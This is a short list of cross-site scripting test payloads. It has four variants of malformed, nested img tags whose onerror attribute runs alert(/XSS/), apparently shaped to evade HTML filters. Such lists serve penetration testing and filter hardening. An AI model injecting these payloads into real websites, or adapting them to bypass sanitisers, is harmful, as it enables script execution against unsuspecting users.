<img <img src="" onerror=alert(/XSS/)
<img<img src="" onerror=alert(/XSS/)
<img<img/src="" onerror=alert(/XSS/)
<img<img<img src="" onerror=alert(/XSS/)